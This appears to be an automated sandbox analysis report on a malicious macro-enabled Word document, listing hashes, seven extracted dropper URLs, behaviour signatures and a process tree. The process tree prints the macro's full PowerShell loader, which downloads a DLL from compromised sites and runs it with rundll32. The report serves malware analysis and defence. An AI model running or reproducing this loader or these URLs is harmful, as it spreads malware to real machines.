Analysis

  • max time kernel
    101s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    27-04-2022 02:09

General

  • Target

    berpyuiv.docm

  • Size

    140KB

  • MD5

    391dca4cf91ae12aa1b5ac9d0ac3ec41

  • SHA1

    47cfcf587d838f68a8f8df53ea3afae475436992

  • SHA256

    06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8

  • SHA512

    de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://evgeniys.ru/sap-logs/D6/

exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\berpyuiv.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1884
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1364
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1064

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1064-83-0x000007FEFBC11000-0x000007FEFBC13000-memory.dmp

      Filesize

      8KB

    • memory/1064-82-0x0000000000000000-mapping.dmp

    • memory/1364-78-0x0000000000000000-mapping.dmp

    • memory/1364-81-0x000000006A900000-0x000000006AEAB000-memory.dmp

      Filesize

      5.7MB

    • memory/1364-80-0x0000000004AF0000-0x0000000004C04000-memory.dmp

      Filesize

      1.1MB

    • memory/1596-69-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-72-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-61-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-62-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-63-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-64-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-65-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-66-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-70-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-54-0x00000000727B1000-0x00000000727B4000-memory.dmp

      Filesize

      12KB

    • memory/1596-68-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-67-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-71-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-60-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-73-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-74-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-75-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-76-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-84-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1596-59-0x0000000000798000-0x000000000079C000-memory.dmp

      Filesize

      16KB

    • memory/1596-58-0x000000007121D000-0x0000000071228000-memory.dmp

      Filesize

      44KB

    • memory/1596-57-0x0000000075781000-0x0000000075783000-memory.dmp

      Filesize

      8KB

    • memory/1596-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1596-55-0x0000000070231000-0x0000000070233000-memory.dmp

      Filesize

      8KB

    • memory/1884-77-0x0000000000000000-mapping.dmp